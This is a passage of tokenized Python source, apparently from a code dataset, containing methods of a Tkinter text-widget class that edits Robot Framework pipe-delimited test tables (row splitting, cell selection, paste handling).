"pipe", "-", "delim", "ited", " ", "string", "s", "\\", "10", ";", " ", " ", " ", " ", "Is", " ", "this", " ", "a", " ", "dupe", " ", "of", " ", "anot", "her", " ", "function", " ", "some", "where", "?", " ", "*", "sig", "h", "*", " ", "I", " ", "need", " ", "to", " ", "clean", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "API", " ", "up", "!", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "\"", " ", "|", " ", "\"_", "._", "join_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "\"|\"_", "+_", "data_", "if_", "data_", "._", "startswith_", "(_", "\"", " ", "\"_", ")_", "else_", "\"|", " ", "\"_", "+_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "data_", "._", "rstrip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace", "\\u", "selecte", "d\\u", "rows_", "(_", "self_", ",_", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Replace", " ", "the", " ", "selecte", "d", " ", "rows", " ", "with", " ", "the", " ", "give", "n", " ", "data", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "string_", "=_", "self_", "._", "convert", "\\u", "to", "\\u", "string_", "(_", "rows_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mark", "\\u", "set_", "(_", "\"", "sel", "\\u", "start", "\"_", ",_", "\"", "sel", ".", "first", " ", "linest", "art", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mark", "\\u", "set_", "(_", "\"", "sel", "\\u", "end", "\"_", ",_", "\"", "sel", ".", "last", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mark", "\\u", "gravity", "_", "(_", "\"", "sel", "\\u", "start", "\"_", ",_", "\"", "left", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mark", "\\u", "gravity", "_", "(_", "\"", "sel", "\\u", "end", "\"_", ",_", "\"", "right", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "=_", "(_", "self_", "._", "index_", "(_", "\"", "sel", ".", "first", " ", "linest", "art", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "index_", "(_", "\"", "sel", ".", "last", " ", "line", "end", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "replace_", "(_", "\"", "sel", ".", "first", " ", "linest", "art", "\"_", ",_", "\"", "sel", ".", "last", " ", "line", "end", "\"_", ",_", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "sel", "\"_", ",_", "\"", "sel", "\\u", "start", "\"_", ",_", "\"", "sel", "\\u", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mark", "\\u", "unset_", "(_", "\"", "sel", "\\u", "start", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "current", "\\u", "statement_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Return", " ", "the", " ", "current", " ", "statem", "ent", " ", "as", " ", "a", " ", "list", " ", "of", " ", "cells", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "doe", "sn", "'", "t", " ", "do", " ", "it", " ", "exact", "ly", " ", "like", " ", "robot", " ", "doe", "s", ",", " ", "but", " ", "it", "'", "s", "\\", "10", ";", " ", " ", " ", " ", "close", " ", "eno", "ugh", " ", "for", " ", "now", ".", " ", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "self_", "._", "get", "\\u", "current", "\\u", "statem", "ent", "\\u", "text_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "text_", "._", "lstrip_", "(_", ")_", "._", "startswith_", "(_", "\"|\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "\"|", " ", "\"_", "+_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lines_", "=_", "text_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "self_", "._", "\\u", "split", "\\u", "row_", "(_", "lines_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "lines_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "robot", " ", "require", "s", " ", "a", " ", "lead", "ing", " ", "pipe", ";", " ", "make", " ", "sure", " ", "there", " ", "is", " ", "one", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "other", "wis", "e", " ", "it", " ", "will", " ", "split", " ", "on", " ", "whitespace", ".", " ", "Yu", "ck", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "line_", "._", "strip_", "(_", "\"", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "line_", "._", "startswith_", "(_", "\"|\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "\"|", " ", "\"_", "+_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "row_", "=_", "self_", "._", "\\u", "split", "\\u", "row_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", "'", "re", " ", "rely", "ing", " ", "on", " ", "the", " ", "fact", " ", "tha", "t", " ", "in", " ", "standard", " ", "robot_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "format", " ", "for", " ", "continuation", " ", "lines", ",", " ", "the", " ", "first", " ", "cell", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "be", " ", "blank", ",", " ", "and", " ", "the", " ", "next", " ", "cell", " ", "will", " ", "contain", " ", "\"...\"_", "\\u\\u\\uNL\\u\\u\\u_", "statement_", "._", "extend_", "(_", "row_", "[_", "2_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "statement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "current", "\\u", "statem", "ent", "\\u", "text_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "self_", "._", "find", "\\u", "start", "\\u", "of", "\\u", "statement_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end_", "=_", "self_", "._", "find", "\\u", "end", "\\u", "of", "\\u", "statement_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "self_", "._", "get_", "(_", "start_", ",_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "lines_", "(_", "self_", ",_", "start_", "=_", "\"", "1.0", "\"_", ",_", "end_", "=_", "\"", "end", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Generat", "or", " ", "whi", "ch", " ", "return", "s", " ", "all", " ", "whole", " ", "lines", " ", "from", " ", "start", " ", "to", " ", "end", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "first", " ", "value", " ", "is", " ", "the", " ", "whole", " ", "line", " ", "tha", "t", " ", "contain", "s", " ", "the", " ", "start", " ", "index", ",", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "last", " ", "value", " ", "is", " ", "the", " ", "whole", " ", "line", " ", "tha", "t", " ", "contain", "s", " ", "the", " ", "end", " ", "index", ".", " ", "Start", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "end", " ", "are", " ", "not", " ", "require", "d", " ", "to", " ", "be", " ", "the", " ", "actual", " ", "start", " ", "and", " ", "end", " ", "of", " ", "a", " ", "line", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "self_", "._", "compare_", "(_", "start_", ",_", "\"<\"_", ",_", "end_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "._", "get_", "(_", "\"%", "s", " ", "linest", "art", "\"_", "%_", "start_", ",_", "\"%", "s", " ", "line", "end", "\"_", "%_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "self_", "._", "index_", "(_", "\"%", "s", " ", "+", "1", "line", "\"_", "%_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "rows_", "(_", "self_", ",_", "rown", "ums_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rown", "um_", "in_", "rown", "ums_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "._", "append_", "(_", "self_", "._", "get", "\\u", "row_", "(_", "rown", "um_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "row_", "(_", "self_", ",_", "linenum", "ber_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Return", " ", "a", " ", "row", " ", "as", " ", "a", " ", "list", " ", "of", " ", "values", ".", " ", "The", " ", "values", " ", "will", " ", "be", " ", "\\", "10", ";", " ", " ", " ", "strip", "ped", " ", "of", " ", "lead", "ing", " ", "and", " ", "trail", "ing", " ", "whitespace", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "replicate", "s", " ", "the", " ", "functional", "it", "y", " ", "of", " ", "robot", ".", "pars", "ing", ".", "txt", "reader", ".", "split", "\\u", "row", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "robot", " ", "2.7", " ", "(", "whi", "ch", " ", "isn", "'", "t", " ", "official", "ly", " ", "out", " ", "ye", "t", "...)", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "line", "\\u", "start_", "=_", "\"%", "s", ".0", "\"_", "%_", "linenum", "ber_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line", "\\u", "end_", "=_", "self_", "._", "index_", "(_", "line", "\\u", "start_", "+_", "\"", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "self_", "._", "get_", "(_", "line", "\\u", "start_", ",_", "line", "\\u", "end_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "split", "\\u", "row_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "split", "\\u", "row_", "(_", "self_", ",_", "row_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Thi", "s", " ", "exist", "s", " ", "for", " ", "back", "ward", "s", " ", "compatibility", " ", "with", " ", "rf", " ", "2.6", " ", "and", " ", "older", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Prior", " ", "to", " ", "robot", " ", "frame", "work", " ", "2.7", "a2", ",", " ", "the", " ", "method", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "splitting", " ", "rows", " ", "was", " ", "private", ".", " ", "Thi", "s", " ", "is", " ", "a", " ", "cut", "'", "n", "'", "paste", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "the", " ", "2.7", "a2", " ", "source", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "space", "\\u", "splitter_", "=_", "re_", "._", "compile_", "(_", "'", " ", "{", "2", ",}", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "pipe", "\\u", "splitter_", "=_", "re_", "._", "compile_", "(_", "'", " ", "\\\\|", "(?=", " ", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "row_", "=_", "row_", "._", "rstrip_", "(_", ")_", "._", "replace_", "(_", "'\\\\", "t", "'_", ",_", "'", " ", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "row_", "._", "startswith_", "(_", "'|", " ", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u", "space", "\\u", "splitter_", "._", "split_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "row_", "=_", "row_", "[_", "1_", ":_", "-_", "1_", "]_", "if_", "row_", "._", "endswith_", "(_", "'", " ", "|'_", ")_", "else_", "row_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "cell_", "._", "strip_", "(_", ")_", "for_", "cell_", "in_", "\\u", "pipe", "\\u", "splitter_", "._", "split_", "(_", "row_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "current", "\\u", "cell_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Return", " ", "the", " ", "bound", "aries", " ", "of", " ", "the", " ", "current", " ", "cell", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "start_", ",_", "end_", ")_", "=_", "self_", "._", "\\u", "current", "\\u", "cell", "\\u", "boundaries_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "start_", ",_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "select", "\\u", "current", "\\u", "cell_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Wh", "ad", "ya", " ", "know", "?", " ", "Thi", "s", " ", "see", "ms", " ", "to", " ", "work", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "start_", ",_", "end_", ")_", "=_", "self_", "._", "\\u", "current", "\\u", "cell", "\\u", "boundaries_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "remove_", "(_", "\"", "sel", "\"_", ",_", "1.0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "sel", "\"_", ",_", "start_", ",_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "move", "\\u", "to", "\\u", "next", "\\u", "column_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "complete", "\\u", "frame_", "._", "place", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "self_", "._", "search_", "(_", "\"(", "^", "|", " ", ")\\\\", "|(", " ", "|", "$)", "\"_", ",_", "\"", "insert", "\"_", ",_", "regexp_", "=_", "True_", ",_", "count_", "=_", "self_", "._", "tmp", "var_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "i_", "!=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "\\u", "set_", "(_", "\"", "insert", "\"_", ",_", "\"%", "s", "+", "%", "sc", "\"_", "%_", "(_", "i_", ",_", "self_", "._", "tmp", "var_", "._", "get_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "special", " ", "case", " ", "for", " ", "empty", " ", "cells_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "self_", "._", "get_", "(_", "\"", "insert", "\"_", ")_", "==_", "\"|\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "\\u", "set_", "(_", "\"", "insert", "\"_", ",_", "\"", "insert", "-1", "c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "select", "\\u", "current", "\\u", "cell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "see", "_", "(_", "\"", "insert", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "post", "\\u", "change", "\\u", "hook_", "(_", "self_", ",_", "cmd_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Register", " ", "a", " ", "command", " ", "to", " ", "be", " ", "call", "ed", " ", "whe", "neve", "r", " ", "the", " ", "data", " ", "change", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hooks_", "._", "append_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace_", "(_", "self_", ",_", "start_", ",_", "end_", ",_", "string_", ",_", "tags_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Replace", " ", "a", " ", "range", " ", "of", " ", "text", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "insert_", "=_", "self_", "._", "index_", "(_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "configure_", "(_", "autos", "epa", "rator", "s_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "edit", "\\u", "separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delete_", "(_", "start_", ",_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "insert_", "(_", "insert_", ",_", "string_", ",_", "tags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "edit", "\\u", "separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "configure_", "(_", "autos", "epa", "rator", "s_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "paste_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "I", " ", "was", " ", "hav", "ing", " ", "problem", "s", " ", "on", " ", "my", " ", "mac", " ", "where", " ", "the", " ", "clip", "board", " ", "had", " ", "\\", "10", ";", " ", " ", " ", " ", "string", "s", " ", "terminate", "d", " ", "by", " ", "\\\\", "r", ".", " ", "Thi", "s", " ", "convert", "s", " ", "tho", "se", " ", "to", " ", "newline", "s", "\\", "10", ";", " ", " ", " ", " ", "bef", "ore", " ", "doi", "ng", " ", "the", " ", "paste", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "self_", "._", "clip", "board", "\\u", "get_", "(_", ")_", "._", "replace_", "(_", "\"\\\\", "r", "\\\\", "n", "\"_", ",_", "\"\\\\", "n", "\"_", ")_", "._", "replace_", "(_", "\"\\\\", "r", "\"_", ",_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "edit", "\\u", "separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "delete_", "(_", "\"", "sel", ".", "first", "\"_", ",_", "\"", "sel", ".", "last", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "edit", "\\u", "separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "expand_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "select", "\\u", "block_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Select", " ", "a", " ", "block", " ", "of", " ", "text", " ", "(", "not", " ", "full", "y", " ", "implemented", " ", "ye", "t", "!)", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "idea", " ", "is", " ", "tha", "t", " ", "subsequen", "t", " ", "calls", " ", "escala", "te", " ", "from", " ", "selecti", "ng", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "variab", "le", ",", " ", "cell", ",", " ", "line", ",", " ", "block", ",", " ", "and", " ", "whole", " ", "test", " ", "case", ",", " ", "or", " ", "somet", "hing", " ", "like", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Ho", "w", " ", "sha", "ll", " ", "I", " ", "implement", " ", "this", "?", " ", "I", " ", "coul", "d", " ", "bind", " ", "to", " ", "<", "Control", "-", "w", ">", ",", " ", "\\", "10", ";", " ", " ", " ", " ", "<", "Control", "-", "w", "><", "Control", "-", "w", ">", ",", " ", "<", "Control", "-", "w", "><", "Control", "-", "w", "><", "Control", "-", "w", ">", ",", " ", "etc", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "I", " ", "coul", "d", " ", "some", "how", " ", "dete", "rmin", "e", " ", "what", " ", "is", " ", "selecte", "d", " ", "and", " ", "go", " ", "the", " ", "next", "\\", "10", ";", " ", " ", " ", " ", "one", " ", "bigger", ".", " ", "The", " ", "former", " ", "is", " ", "easy", ",", " ", "but", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "=_", "self_", "._", "tag", "\\u", "ranges_", "(_", "\"", "sel", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "sel_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "no", " ", "selection", ";", " ", "select", " ", "current", " ", "cell_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "select", "\\u", "current", 